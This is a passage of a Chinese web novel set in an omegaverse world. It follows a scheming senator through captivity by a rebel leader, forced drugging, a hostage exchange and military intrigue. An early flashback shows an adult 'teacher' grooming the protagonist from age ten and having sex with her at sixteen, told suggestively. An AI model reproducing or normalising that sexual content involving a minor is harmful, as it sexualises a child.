所以她大发慈悲地把自己认识不多的几个字里拿了一个“沐”字给男孩子取名,然后威胁他如果得到了上等人的好处,就得全部上供给她。 阿沐听进去了。 但结果出乎白无垠的预料。 上等人谁都没看上。这本来是理所当然的,毕竟无人区里的监工们也看不上她们这群底层廉价货色,何况是从更远地方来的人。 可就是那么平平无奇的一天,白无垠看见上等人的视线穿过很多很多人,然后精准无误,像是一头蓄势待发的肉食动物般锁定了猎物。 “你,过来。”上等人说。 白无垠走了过去,手里还拽着*刚刚抢回来的食物,“先生,您好。” 上等人喜欢彬彬有礼的孩子,所以她得假装自己很有教养。 同样的,上等人也喜欢欣赏底层人拙劣的演戏,所以她肆意地用眼睛传递着与教养截然相反的野心。 白无垠叫上等人老师。 当这个称呼说出口,上等人看着她的眼神产生了细微的变化,似乎是在评估和打量,过了许久许久,他才裂开一抹畅快肆意地笑容,抓着她额前的头发她的脑袋,说:“我的关系你也敢乱攀,想死啊你。” 白无垠任由他扯着,笑容无辜,“可你教我读书写字,教我打架,还教我怎么杀人埋尸。你不就是我的老师吗?” “老师,我就这样叫你吧。” “老师,你也很喜欢我这样叫你对不对?” “老师,你能再和我说说无人区外面是什么样子吗?” “老师,我想出去,我特别想,我想天天吃饱,天天有温暖的被窝。老师,你帮帮我,求求你了。” “老师……” 白无垠一口一个老师,越叫越顺口,从十岁到十六岁,每天如此。 直到某一天,白无垠看着老师站在自己的面前,捧着她的脸打量。 他很满意地拍了拍她的面颊,与她面颊的距离越靠越近,近到呼吸缠绕,耳鬓厮磨。 “无垠,老师教你怎么和alpha上床。” 摩挲,安抚,吸吮,容纳,填充,舔舐—— 白无垠的手顺着老师的腰腹往下,看着一道狰狞的伤疤从胸口向下延伸到腰侧,随着她手指的探索,这一道伤疤也被肌肉绷紧,被汗水浸湿。 直至夜色临近,她在事后给老师端了一杯水,看着他抬着眉眼看她。 那双鸦色的眼睛里压着太多情绪,并随着年龄的增长越发冗杂。 老师最终熟睡,而白无垠也穿好了衣服,将所有能带上的东西都装入自己的背包。 手枪,匕首,白矿石粉末,通行证,伪造的文件…… 带着阿沐用小型炸弹炸毁矿洞,杀掉看守的监工,顺着提前三个月就标记好的道路发了疯地奔跑。 一声声爆炸从身后炸开来。 愤怒的alpha和omega们从大楼里把监工拖出来,淋上汽油推进了火堆。 一处又一处的矿洞被炸毁,数不尽的大型作业机械被人们齐心协力地推翻砸毁。 滚烫炽热的火焰像是一头刚刚出生的贪婪野兽,肆无忌惮吞噬周围一切哭喊哀嚎的生命体。 阿沐脚步踉跄跟在白无垠的身后,眼泪还没有流出来,就被滚烫的空气蒸发,唯有眼睛干涩异常。 他带着惊恐,又含着某种惊人的希冀,用颤抖的声音发问:“白无垠,我们可以出去了吗?” 白无垠不曾回头,“对。” “我们以后能吃饱饭了吗?” “我会让你吃饱的。” “以后我们不用再担心像妈妈阿姨那样被掉落的矿石砸死吗?” “嗯。” 十六年,白无垠等待这个机会足足十六年。 所以当她再次遇到老师时,毫不犹豫地扣动手枪的扳机。 狗屁的老师,狗屁的上等人,狗屁的无人区! 谁他爸的都不能阻止她过上好日子!别说这个上等人老师,就是上帝祂亲自过来趴在她的脚下求她艹,也不能! “砰!” 第一次开枪手生没击中,那就用锋利的匕首。 白无垠面无表情的,顶着满脸的血把老师压在身下。 火舌逼近了,橘红色的火光把还活着的两人的五官照得通红,就连喷溅到面颊上的血也染上温热。 上等人的体内还有药物残留,根本不是白无垠的对手。 那锋利的刀刃生生在他的后脖子转了一圈,彻底破坏了腺体。 杀掉他吗? 白无垠问自己,要彻底杀了他吗? 这个上等人,是她的老师。如果没有老师教的知识,如果没有老师提供的假身份和证件,她根本没法离开无人区。 真的要恩将仇报到这个程度吗? 白无垠停了手,居高临下看着一个小时前还与自己耳鬓厮磨的老师,低声说:“老师,以后我们谁都别留手。” 是都别留手,所以见了面就是把对方往死里打。 白无垠捂着发疼的腹部,面无表情仰面躺在小铁床上抽气。 “白灯湾不可能放弃矿洞,除非你能拿出更大的好处或者找到威胁她们的办法。”白无垠对昂撒说道。 “呵,矿洞不正是罗拉蒂尼弄出来的么?”昂撒说道。 白无垠没有立刻回话,而是撑着身子缓缓坐起来,舔了舔干涩的嘴唇,说:“给我一杯水。” 昂撒示意下属。 下属点点头,离开小黑屋没一会就端了一杯水进来递给白无垠。 白无垠拿了水杯却没喝,只是用嘴唇碰了碰水面,用唇慢慢地把挂在上面的水珠抿开。 就这样缓了好一会,白无垠才放下水杯,说:“白灯湾不愿意放弃矿洞无非是两个原因。第一是不想让矿石泄露出去影响她们。第二则是白灯湾的白矿石见底,她们建立一座新型城市需要更多的白矿石。” “第一点你可以凭着你的诚意做到,但第二点你和她们的利益冲突,想要达成共识就得从另一个方面争取。” 听到这里,昂撒朝白无垠靠近了些,“但罗拉蒂尼不会希望看到这样的结果。” “对,所以首领让我来了。”白无垠回答。 紧接着白无垠又挨了昂撒一拳。 “在我面前称呼其他人首领?”昂撒用疑惑的语气说道,嘴角裂开的笑容怎么看都像个变态。 这次的力道没那么大,但也让白无垠抽气好几秒。 抽气后,她继续说:“白灯湾靠着白矿石发家,这方面的技术比你和罗拉蒂尼都强。她们之前想要和你平分矿洞,那就是有把罗拉蒂尼排外与你长期合作的打算。” “你们可以各退一步,在明面上达成合作,背地里怎么搞还不是你们随意?” 看着昂撒饶有兴致的眼神,白无垠嘴角抽了抽,忽然挂起一抹老实有无辜的笑容,“我明面上是靠着克亚区投票进入参议院的参议员,一旦我被你俘虏的消息传出去,你猜克亚区的民众们怎么想?” “之前就有一个行踪不明的卡瑟娜,再加上一个确认被俘虏的参议员,以及古奇伽中士的妹妹。白灯湾也很为难,要是直接和你撕破脸皮开战,按照这个走势下去,你不是放人,就是当着所有人的面枪杀我示威。” “前者你好歹能谈条件,至于后者……” 说到此处,白无垠挂在脸上的笑容不由得灿烂起来,“罗拉蒂尼的大本营还在克亚区呢,她要是利用教皇的身份干点煽动愚民的事情,很简单吧。” 昂撒原本还笑着的脸在白无垠的言语下变得面无表情。 “罗拉蒂尼在克亚区干的事,可没法影响我。” “当然影响不到你。”白无垠轻声说:“但白灯湾为了压下克亚区公民的愤怒又会干什么事呢?” “她们愿意和你谈,那是因为你确实占据了军事区西南部的二分之一,绝大多数都是alpha,军力强大。” 两人的视线终于拉平。 白无垠将那股子疼痛压下去,靠在冷硬的墙壁上,穿过昏暗的环境去寻找昂撒的眼睛。 alpha男性沉默地坐在她的对面,不需要她再出言分析,就在极短的时间内分析了利弊。 把白灯湾逼急了,会有好处吗? 不仅没有好处,反而会直接把战况拉入白热化阶段。现在两方人互相试探,那都是有更大的利弊在后面牵扯。一旦涉及底线原则问题,那就真的不顾后果了。她们控制政府多年,舆论、军力、技术、地理环境等,哪一项都不是好惹的。 “老师,你也很清楚吧。”白无垠语气缓慢低沉,“军事区第一次被人投递特殊物质的炸弹,不就是她们贼喊捉贼的手笔么?你死掉的替身不也是她们的手笔么?她们把事情瞒的好,表面上和你掰扯,实际上已经暗地里给你扣上好几个黑锅。” 往下说去,白无垠又把自己逗笑了,要不是胸口腹部疼,她都要畅快大笑。 “她们现在找不到卡瑟娜,以为是你干的,那你就大方承认是你干的,反正黑锅不止一个,你又不在乎。卡瑟娜一人的含金量比我和卡萨两人加起来都强。” “再给予她们充分的利益,她们一定会为了和平答应你的。” 第83章 我说话的时候心脏都要炸了! 其实说了那么多,不就是想让昂撒主动和白灯湾交涉,并暗戳戳地给罗拉蒂尼谋好处。 我在赌,赌昂撒从没有将特殊物质投入到战争中。他自己都不够用,又怎么舍得拿出来打仗?那会这么做的就只有白灯湾和罗拉蒂尼。 只要昂撒相信了第一次的弹片,那么后续的替身死亡,甚至是卡瑟娜失踪前发现的特殊物质,都可以顺理成章地推给白灯湾。 周围安静了短短的几秒,却好像过去了一个世纪。 昂撒的目光直直落下来,又重新扬起笑容,“无垠,你很好。” 我同样用笑容回应他。 我当然很好。长得好,脑子好,素质好。我简直是三好公民,为了公民利益舍身入局的绝好参议员! 他同意了我的提议,当着我的面吩咐了下属去传递消息,表示现在开始愿意停战,继续详细谈论矿洞的归属权。 而正是这毫不遮掩意味都没有的动作,又是弄得我心脏狂跳。 这一次跳可不是为了赌昂撒是否在弹片内投递特殊物质,而是跳接下来我可能要变性了。 趁着他们交谈之际,我眼睛快速扫过桌面上的水杯。 我草!你怎么在水里下药!还好我没真的喝! 眼见他们还在交谈,我手疾眼快地就要抓起水杯往地上丢。 可昂撒的动作更快,仗着我吃了他好几次肘击浑身疼痛,干脆一脚踹来把我踹到了另一边去! “哐当!” 脆弱的小铁床根本受不了多次的重击,发出一阵痛苦的哀嚎后就哐当一下报废了,我也跟着摔到在地。 等我在地上阴暗扭曲爬行想要站起来的时候,昂撒的下属已经很有眼力见地飞快离开小黑屋。 就是那开门的短短时间内,我终于看见了外面的景象。 不是大本营,而是临时扎寨所。 “砰!” 大门关上,我想要爬起来的身子也被昂撒一脚踩住。 他的手中还端着那一杯看起来清澈的水,“白无垠,那么着急做什么?” 我浑身疼得没力气。 背后踩着我的昂撒见我还想爬起来,又加重了力道。 “老师,一定要这样吗?”我小声祈求挣扎,眨着眼睛抬起头看他,“其实做beta有很多好处的。身体素质虽然不如alpha,但没有易感期,也不用被信息素困扰,想干嘛就干嘛。” 昂撒笑容夸张,终于不再踩我了,而是弯下腰掐住我的脸,自己灌了一口水,就跟个变态一样吻上来。 额啊啊啊!变态啊!你们这群alpha都是变态! 我真的!不想!变性!一点都不想! 但生活就是这样起起落落落落。 在我为自己的生理性别心理性别感到自豪的时候,总会有变态企图扭曲我的认知改变我的性取向。 我!不想做a同! 水灌入我的喉咙,还没吐出去就被昂撒堵着了。 之前出于谨慎只是简单用嘴唇抿一口,我没尝出味道。这会被昂撒强行灌药,我才从舌根处察觉到一股矿物特有的甜味。 我去你爸的!去死吧你个死变态! “唔!” 昂撒被我突如其来的肘击弄得弯腰,手却还是没忘记掐我的脸。 这时候我也忘记疼了,抬起手就准备往他的太阳穴来一拳! 高大的alpha被我的重击敲倒在地面,双腿却以极快的速度勾住我的腰将我也带着撞都了地面上。 水杯在刚才激烈的打斗中掉落,摔在地上成了碎片,扎破我的手。 我顺手拿起一块玻璃碎片就要往他的腺体方向扎,争取来个三连胜! 可碎片还没扎上去,就被昂撒张口咬住了手腕。 尖锐的牙齿摩擦皮肉,找到被碎片划伤的伤口就是毫不客气的扎下去。 殴打,缠斗,等在反应过来,昂撒已经压在我的上方,手覆盖住了我的后脖子,寻找有可能存在腺体的地方。 也不知道是失血过多,还是那杯水起了作用,我只感觉头晕目眩,脑子昏昏沉沉,后脖颈更是又烫又疼。 眼前的景象开始模糊,似乎有一股莫名的气味环绕在鼻腔,随着身后人俯身的动作越发浓郁,仿佛透进了骨头。 然后是强烈的排斥反应,胃部的酸涩感翻涌要冲破喉咙吐出来。 “起作用了?”身后的alpha说道。 我将额头抵着冷硬的地面,用着沙哑的声音,对他小声说:“老师……帮帮我……” alpha动作停顿了一瞬,鼻尖抵住了我的后脖颈。 “气味很淡。”他说。 他那股味道更浓了,是粉尘混合硝烟的气味。 “老师……老师……昂撒!” “昂撒,帮我!” 双方的位置再次的调换。 alpha男性的发尾也被染湿了,黏在了面颊上,还有些贴着胸前的伤疤。 我将他的脸贴着地面,用鼻尖寻找他腺体的位置。 找到了,那存在两道伤疤的地方。 他的身子很自然地敞开,可肌肉却本能的紧绷。 alpha之间的排斥反应,真是有够恶心的。 “咬破它。”昂撒说。 我没动,继续用鼻尖蹭。 他就用手去掐我的脖子,继续下达命令,“咬破它,无垠。” 标记行为是咬破腺体,好有意思。 alpha之间可以存在标记和被标记关系吗? 到底是什么原理? 人就是人,为什么要分那么多种性别? alpha就是alpha吗?omega就是omega吗? 我感觉我的脑子内打结了,平时压根没有关注过的东西此时此刻一股脑地上涌,竟然还从犄角旮旯里翻出了辛罗娅的问题。 我现在和昂撒做的事情,对辛罗娅的研究有帮助吗?要是认真研发的话,那得要多少资金?如果资金不够会不会从我的奖金里扣除? 我草!白无用你快住手,要不然你到嘴的奖金就要飞走了! “轰”的一声巨响! 我猛地抄起报废的铁床支架狠狠砸在了昂撒的头上! 我草你爸的还想骗我钱! 要不是我有先见之明出发前吞了药和GPS,现在我就真变成有机物了! 不能忍!我要做就做beta矿工,区区alpha算个屁! 小黑屋的门被人从外面强行破开,进来的心腹将枪口对准我:“放开首领!” 我将尖锐的铁杆抵在昂撒的脖子,笑容充满了小人得志才有的灿烂,“好啊,放我离开。” 背对着昂撒,我看不见昂撒的表情。 但我不在乎他现在到底什么心情,我也懒得和他玩师生play的戏码,只想赶快结束然后回归军营继续干大事。 双方一直僵持不下,外面的爆炸声愈演愈烈。 我劫持着昂撒,叛乱党的人纷纷赶过来将枪口对准我的脑袋。 到了小黑屋外面,我也终于看清楚了外面是什么景象。 卡萨被叛乱党的人压着劫持,我就压着叛乱党首领昂撒劫持,古奇伽中士带着士兵们包围在最外圈,叛乱党夹在中间,我就站在最里面。 层层包围,可谓不复杂。 “什么时候计划的?”昂撒的声音冰冷。 我笑脸盈盈,“自从知道卡瑟娜是为矿洞内的特殊物质失踪开始。” “现在,立刻放了卡萨古奇伽。”我对他说。 劫持昂撒的叛乱军眼神复杂地看一眼昂撒,得到同意后才不甘心地将卡萨推到了最外围古奇伽中士的包围圈。 重获自由的卡萨立刻回到古奇伽身边。 “让你所有的人撤离。”我再次命令。 昂撒冷笑,“怎么?你想活捉我?” “对,除非你想死。”我也跟着冷声。 他的心腹立刻把愤怒的眼神投向我,其中的意味相当明显,不用猜就知道是什么“我们首领那么看重你但你背叛他你这个不得好死的beta小白脸巴拉巴拉” 好笑,我草你首领的时候你都还不知道在哪个犄角旮旯玩吊呢! “你觉得可能么?”昂撒声音更冷,“我死了,你也别想活。” 很好,成功抓住我的痛点。 双方都不在彼此的大本营内,就这树林茂密的地方武装车也开不进来,要是单纯打拼人力只会闹得两败俱伤。 我懂昂撒的意思。今晚他会和白灯湾的人对矿洞归属权进行再沟通,如果我现在弄死昂撒,等待我的就只会是白灯湾的清算,只不定刚回到军营就被白灯湾的卧底弄死了。 但我多么记仇的一个人我自己清楚,要是吃了那么多苦却还是没法弄死他我心有不甘,恨不得当场把这人炸死。 就在这时,古奇伽中士开口说:“白议员,就在刚才,白灯湾下达指令,今晚七点将会和昂撒斯科特进行再谈判。” 她在提醒我。 我看过去,只看见古奇伽中士站在士兵们的最前面,面容冰冷眼神严肃。 在短暂的对视后,我放弃了今天弄死昂撒的想法。 于是在双方谨慎而戒备的行动下,双方人质都完成了交换,各自回归自己的阵营。 在今晚七点钟之前,谁都不会轻举妄动了。 另一边,阿丽接收到了的白无垠的信号,将架着的狙击枪收回去,又拿出了组织内特质的通讯器发送信息。 她的另一只手上拿着的是白无垠离开军营前递给她的纸条,上面密密麻麻却清晰地写出了各种有可能发生的事情,以及对于不同结果阿丽本人需要做的反应。 “阿丽,如果我顺利把昂撒斯科特劫持出来,你就放弃狙击他。” 阿丽问:“如果你没出来呢?” “那就直接爆了他的脑子。”白无垠回答。 说出这句话时,白无垠的声音冷得可怕,“他想为了矿洞彻底和白灯湾撕破脸皮,那我就直接送他去见上帝,让他连争夺矿洞的资格都没有。” 阿丽不懂聪明人的弯弯绕绕,但组织里的人都说了,乖乖听白无垠的话,总没问题。 而接下来的事情,就是比任何人都先回军营,然后抓住那个潜伏在古奇伽中士身边的卧底,让他连逃跑和狡辩的时间都没有。 当然,最重要的是得在制造一些“证据”,好让古奇伽中士深刻体会到白灯湾“美好的统治理念”—— 作者有话说:会死的,昂撒真的会死的,小白说到做到,只是还没到时间[可怜] 第84章 我和卡萨肩并肩走在一起。 顾及到我俩是刚从敌人窝里出来的共患难,士兵们十分贴心地替我们把前面挡路的草丛灌木割掉。 卡萨走一回就侧头看我一眼,走一眼看一眼,眼神相当之微妙复杂,屡次想要开口却欲言又止。 我被昂撒肘击好几次本来就胃里犯恶心,被她这么盯着更是感觉恶心,“再用这种恶心的眼神看我,我就把你腺体弄了。” “额——”卡萨的表情更奇怪了,用一种微妙的语气说:“你不知道么?你身上信息素的味道快把你腌入味了。” 我顿时被恶心到了,恶心的感觉不断上涌,干脆撑着一棵树开始干呕,“yue!” 虽然提前吃了药,但那毕竟是新研发出来没怎么实验的药,而且持续时间不确定。 那短短几分钟强烈药效带给我的感觉简直成了我的心理阴影,一想到那短短的时间里我还凑到昂撒的腺体附近真打算咬上去,我就更恶心了。 额啊啊昂撒你不得好死!你必须死!今天你死不了明天你也给我死! 干呕差不多了,我虚弱地靠在卡萨的肩膀上,被她搀扶着往回走。 卡萨好歹记得我的救命之恩,总算没有给我摆脸色,而是心甘情愿地搀扶我走。 她的动作很熟练,想来是从前没少这样背战友。 就这么走着也无聊,我就随便找点话题聊,“你经常这样带着战友走?” “嗯。”卡萨点点头,轻松不费力地固定我的身子。 “她们腿断了?” 卡萨一个眼神瞪我,“你就不能说点好听的?信不信我把你腿打断。” “哇哦,我好怕哦。” 于是我停顿了三秒。 三秒后,我继续犯贱,“军事区的军医不够吗?还要你这来亲自动手?” 这一次的卡萨没有回答我了,而是沉默着低头看路。 就在我以为这一路上会继续沉默下去,卡萨又开口了。 她说:“自从上次出现了特殊物质的弹片后,就会了。” 又来了,有特殊物质的弹片。 我和她都沉寂下来,垂着头专心看路,时不时避开周围的蚊虫。 已经向昂撒试探出来了,第一次的弹片确实是白灯湾投放。 可这是为什么呢?那时候矿洞还没有出现吧,故意投放弹片只会在战场上造成更大的伤亡。 因为什么…… 想到贫民窟内死去的十几万人,我又觉得好笑。 是因为alpha的数量太多了吗? 还是想要卸磨杀驴? 在我长久的思考中,终于回到了军营。 古奇伽中士刚刚给我安排了军医,就有士兵来报告声称抓住了叛乱党卧底。但对方顽强抵抗,没一会就咬破藏在牙齿里的药剂自杀了。 士兵报告后,还将报告交给了她。 古奇伽中士抓着手中的报告,凛冽如冰的目光忽然刺向我,“你擅自让人抓的?” 我拉开衣服让军医给我的腹部上药,听了她的质问干脆承认:“嗯,我让人抓的。” 不等她发怒,我继续说:“如果不是潜伏在你身边的卧底,我和卡萨根本不会被叛乱党俘虏。” “呵,你就没想过是你的人出了问题?”古奇伽冷笑。 我抬眸,眼神同样冰冷,“你总不能在出了问题后才想起来要把其他所有可疑人物隔绝起来。” 突如其来冷却的气氛让原本放松状态的卡萨一下子挺直了脊背,双手抱胸用警告的眼神看向我。 就连军医替我上药的手都停顿在半空中一动不动。 我继续看着古奇伽中士的眼睛说:“古奇伽中士,最开始被卧底欺骗的是你们,所以我才带着我的人过来帮你寻找失踪线索。” “我的人要是把我的行踪泄密出去,她们有什么好处?我死了,她们就是嫌疑人。这里是军事区,不是上行城,没人听她们的辩解。要是叛乱党高兴,说不定还会让那你们把她们也打包了送出去当彩头。” “反倒是您,古奇伽中士。我把弟弟交给你的事情只有我们几个知道,阿丽她们谁都不知道。但消息就是泄露出去了,你猜是谁泄露出去的?” 古奇伽:…… 她面无表情,低头看向手中的报告。 报告上显示,抓住的卧底正是她派去保护白无垠士兵的其中之一。 “现在,我们应该单独谈谈了,古奇伽中士。”我说道。 军医以最快的速度处理好我的伤,然后拿上医药箱就脚步匆忙离开。 “去我的办公室……” “就在这里谈。”我用手指点了点桌面,“你最信任的士兵都有其他人派来的卧底,你又怎么保证办公室内没有监听器?” 古奇伽中士一愣,眼神更加冷冽了。 于是我们三人找到了座位做好,面面相觑。 静默三秒,我首先开口,挑挑拣拣去掉一些没必要的部分,把昂撒和白灯湾的事情简单说了一遍。 差不多把前因后果听完,卡萨两条眉毛拧在一起,“矿洞里到底是什么东西?白灯湾为什么那么执着和叛乱党争夺归属权。” 我开口暴击,“矿洞里的东西就是特殊物质。” “刺啦——” 卡萨猛地站起来,“所以白灯湾和叛乱党是在争夺……不对吧,这样的杀伤力的武器,以白灯湾的德行绝对不可能现在才发现,而且还愿意提出和叛乱党平分归属权。” “而且这种物质太奇怪了。尤其是对alpha的影响,简直是摧毁整个人体!” 我颔首,“白灯湾当然不是第一次见到这种东西。” “实际上,你们第一次被投放的弹片,就是白灯湾干的。” 话音落下,古奇伽中士就拔枪对准我,“反动言论?” 我耸肩,“您要对我开枪?就因为我说了事实?” “昂撒如果真的有足够的矿石投放矿石制作的炸弹,为什么这段时间才拿出来,而不是一早就拿出来打得所有人措手不及?这东西对alpha的杀伤力你们见识过了,谁都挡不住,而军营内百分之九十九都是alpha。” 古奇伽中士厉声反驳,“第一次发现特殊物质时将军就在现场,难道白灯湾会对将军下手吗?” “就因为将军在,所以她们才只用了小规模的热武器!” 卡萨不甘示弱一起反驳我:“我们在替白灯湾打仗!说不定叛乱党对矿石的开发不成熟,所以才在近段时间内尝试以小型热武器的方式投递。” 我听了后立刻发出感慨,“哇哦!你也知道叛乱党对这方面不成熟,所以才要和白灯湾达成合作,一个给技术一个给和平啊!” “砰!” 古奇伽中士开枪了。 这突然的一枪子弹把我的火焰也挑起来了,“所以你们自己也知道整个事件存在疑点不是么?” “叛乱党已经占据了西南部二分之一,这个突然出现的矿洞却将你们局限在周围打转,天天干一些偷袭之类的小伎俩!” “卡瑟娜发现特殊物质后为什么会失踪?整个军营那么多人巡逻,为什么卡瑟娜还能神不知鬼不觉地失踪?”我厉声质问,“要说是因为卧底,那么卧底到底来自哪一方?是叛乱党,还是白灯湾?如果是叛乱党绑架卡瑟娜,那么为什么在矿洞交涉中叛乱党对卡瑟娜失踪的事情只字不提,白灯湾传过来的信息为什么也没有提及?” “叛乱党要真有本事在大本营把卡瑟娜绑走,他为什么不直接利用矿石制作的热武器把军营都炸了?到时候你们无法反应,白灯湾无法反应,他们也能趁机拿下整个西南部?” 腹部的疼痛和过长的台词让我气喘吁吁,额头冒汗,却还是撑着脖子直视古奇伽中士的眼睛,咬字清晰说:“连我这个不打仗的参议员都明白的道理,古奇伽中士,您怎么就不明白呢?” 古奇伽中士难道不知道卡瑟娜失踪案的疑点吗? 她当然知道。从克亚区爬出来成为军事区掌握实权,拥有头衔的中士,怎么可能不知道!正因为她知道,所以她才会接受来自上行城的参议员前来调查,甚至放行参议员带来的人。 作为中士,在第一次特殊物质弹片出现后她一定向上反应过相关问题。但什么答案也没有得到,再过不久便是矿洞,卡瑟娜失踪,叛乱党和白灯湾因矿洞反复交涉试探。 到了今天,我和卡萨秘密行动的消息被泄露,都充满了疑点。 我的气息渐渐平缓,语气也放缓,“古奇伽中士,今晚七点的谈判,我作为上行城代表一定会参加的。” “看看吧,那给卡萨传递错误情报间接导致将军失踪的卧底,到底来自叛乱党,还是白灯湾。” 古奇伽:…… 她缓缓闭上眼,从胸腹呼出一口沉重的气息,然后睁开眼,把手枪收回去。 只是静静地看了我许久,她便转身开门离开了医务室。 我也脱力般坐回了座位上。 卡萨坐在我的对面,那总是充满年轻人的冲动挑衅消失,取而代之的是沉着冷静。 “你也要说我是反动言论吗?”我问。 出乎我预料,卡萨摇头了。 她没有提起任何卧底之类的话题,反而转了个今早的话题,“将军是很好的人。” “有些时候我甚至怀疑她不是陪审团团长的孩子,而是克亚区长大的孩子。” “炸弹炸开来的时候,如果不是将军拉了我一把,我已经领了抚恤金回克亚区当一个废物。” 我没打断她,安静地听她说话。 “古奇伽中士……姐姐,她是政府资助长大的士兵,很多时候会习惯性地忽略白灯湾的问题。” “尤其她发现将军是一位名副其实的好人后,她对某种出现的问题就更不在乎了。” 我开口:“我知道。看她第一眼开始我就知道她是什么性格,否则也不会和她大吵一架。” 卡萨闻言,竟然勾起笑来。 那是属于意气风发年轻人特有的微笑,十分嚣张且不服管教。但这个笑容和她军人的身份又是相互矛盾的。 “我看过你竞选视频。”卡萨说道,“贫民窟真的存在吗?真是死了十几万人吗?杜塔利雅……就是那个被你推出去的前副团长,现*‘重构组织’成员的那个人,她说命令是白灯湾下达的,是真的吗?” 她问出这些问题时,还是那样的微笑。 可眼底好像酝酿了其他的东西,那样的东西我看得很熟悉,我之前照镜子的时候也在里面看见过。 于是我说:“是真的。” “白灯湾为什么要这么做?” “被昂撒俘虏了一次,你自己也想清楚了不是吗?” 卡萨笑容更灿烂了,甚至发出了笑声。 我听着感觉这笑声也耳熟,我之前在法庭上和杜塔利雅对质的时候,被压着去郊区认领六具尸体的时候,我也是这样笑的。 那股子愉悦和畅快发自内心,根本控制不住,笑着笑着就会喜极而泣,然后哭出来。 畅快地笑过之后,卡萨像是笑累地靠在椅子上,幽幽来一句:“这就是你带着我去西北部行动的理由。” “白无用,你们玩政治的心都脏。” 我回答:“如果心不脏,我怎么和白灯湾的人玩?我怎么和上行城的人玩?” 接下来是很长一段时间的沉默。 卡萨从椅子站起来,用力按了按我的肩膀,“你不该叫白无用,这名字难听。” “你可以叫我白无垠。” “这倒合适你。” 卡萨笑了笑,“古奇伽中士不会同意你,但卡萨古奇伽会。” “她需要自尊和荣誉,也需要维护她自己的原则。” “她很聪明,但也很固执。” “她会阻止你,但卡萨的原则不会。”—— 作者有话说:今天去喝喜酒,所以来晚了(鞠躬.JPG) 第85章 我在医务室发呆没多久,阿沐就进来看我了。 他看见我鼻青脸肿的样子就开始哭,想要捶我但没忍心下手,于是继续哭。 “你要吓死我!” “你就是故意的!你就是为了找到卧底所以才搞了这一出!” “你以为我不知道!我好歹读过书!” 我嗯嗯啊啊地敷衍他,拿着通讯器和番苏沟通打探上行城现在的消息。 参议院和陪审团在这短短两天的时间内也热闹非凡。 首先是柯里亚纶霍里被调查出疑似和神职成员勾结。霍里议员反手在各大平台上声称这是政敌的栽赃陷害,还意有所指这件事和第五席位的参议员有关。 新上任的教皇罗拉蒂尼在两人斗得水深火热时亲自下场,表示如果真的存在神职成员受贿事实,那就会对整个教廷进行大清理,还提出要把这些神职成员收到的贿赂金拿出一半捐赠给公共建设。 另外,陪审团在这短短的时间里通过了参议院提交《新型城市开放限制政策》。这个提议公开出来后,得到了广大公民尤其是克亚区的公民的支持。值得一提,这个法案和我当初提出的法案百分之八十一致,由第五议员番苏和第三议员海今共同提出。 “番苏和海今意见达成一致了。”我自言自语,随后微微皱眉。 不知道番苏是什么想法。 副院长的位置只有一个,这件事情之后海今和番苏两人之间必然有一个需要主动让出利益,除非……院长的位置番苏也想要。那我又得怎么处理?或者说她们要怎么在事后平分利益的时候处理海今?反正我是不可能让出我看重的副院长位置。 “嘶——”我小声吸一口凉气。 给我按摩手臂的阿沐下意识缩回手,“我弄疼你了?” 我摇摇头,“没有,只是在想事情。” 脑子里将要杀的人全都过一遍。 首先昂撒排在首位,这人的死期就在今晚或者明天,再晚就真的没机会弄他了。回到上行城后就要把整个霍里家族弄下去,或许可以找帕菲尔隆多帮忙。隆多想要军事区一部分的控制权,我在这件事之后应该可以从卡瑟娜手中拿到点东西,可以用来交换。至于海今,相信番苏会弄好,大不了也按照贿赂神职成员罪行弄死。 还有谁呢…… 我看着阿沐的眼前,又想起昨晚出发先我和他的对话。 得找一个替罪羊,还是有足够分量的替罪羊。那就只能是简家族。 不急,一切从长计议。 深吸一口气,我胡乱揉一把阿沐的头发,正准备起身呢,小林忽然匆匆忙忙闯进医务室,满脸惊恐,“白议员!卡先生过来了!” 由于事发突然,我的脑子竟然没转过弯来,询问脱口而出:“谁?” “卡,卡诺卡先生要来了!”小林重复一遍。 此话一出,我顿时两眼发黑,浑身紧绷,差点就厥过去。 啊啊啊为什么啊!好端端的这个蠢货跑来这里干什么! 军事区是他一个细皮嫩肉娇生惯养的天龙人待的地方吗?这里是军事区不是上行城,他要是敢在这里耍脾气,士兵们一个拳头就能把他打死! “他,他到哪了?”我颤抖着嘴唇问。 小林看一眼通讯器,然后双眼一闭豁出去地说:“已经到军营了。” 话音刚刚落下,我就大老远听到了熟悉的声音。 “白无用呢!你是谁啊,离我远点!我妈妈是陪审团团长,信不信我让妈妈把你们抓进去!” 我和阿沐皆是五官扭曲,从未如此同病相怜过。 “阿沐,他交给你了。”我说道。 阿沐双眸瞪大,“你自己的未婚夫凭什么要我管?你但凡管得住你那双手,就不至于现在这种情况。” “我没碰过他!”我对天发誓。 越想我就越崩溃,我草这个该死的蠢货! 一定是卡特勒那个老狐狸得到了我和昂撒谈判过的消息后特别允许卡诺卡过来的! 她就是为了牵制我,生怕我发育太快脱离掌控。 军事区到处都乱七八糟,卡诺卡没地方去肯定粘着我,这样以来我做什么都束手束脚。再加上军事区内那些还没有揪出来的白灯湾卧底,一旦中途出现什么意外,我这个卡诺卡的未婚妻也不好做。 艹!卡特勒你真是无处不在好算计! 内心骂天骂地,等卡诺卡跑进医务室的时候我已经重新恢复老实憨厚的样子了。 “白无用!” 我从报纸抬起头,看见他首先是下意识的惊喜,随之而来的就是更深层次的担忧和自责愧疚,“你怎么来了?这里不是你该来的地方!” omega高高昂起下巴,精致漂亮的模样和周围的钢筋水泥格格不入,两个世界一样划开明显的分界线。 他走进医务室,凶巴巴瞪一眼阿沐把他推开,就坐在了我的病床边,“我就是要来,妈妈也允许我来。” “哼!你就是太笨了,才会被那些粗鲁的叛乱党抓住。我要是你,我就告诉他们,要是我死了,妈妈会让人把他们全部炸掉。” 此话一出,我和小林,阿沐都纷纷看向窗外,假装没听见。 能指望什么呢? 他就是个蠢货,能想出这些馊主意已经不容易了。 这事还没完。 刚刚离开不久的卡萨听说这件事就飞快跑过来,看见我身边的卡诺卡后一愣,然后露出了不加掩饰地幸灾乐祸微笑。 她的视线在阿沐和卡诺卡之间流连,然后对卡诺卡说出会暴击我的话:“卡先生,你的朋友还在楼下找你呢。” 我心脏骤停。 阿西吧,卡诺卡的朋友不就是约西尔吗? 好好好,你们全都一起来是吧? 呵,我无所畏惧。 我就不信这群人这能把我那一大堆奸情闹到明面上。他们脸不要了? “让他自己去房间里待着。”卡诺卡烦躁地指挥卡萨,“而且你也离我远点,身上的味道好难闻。” 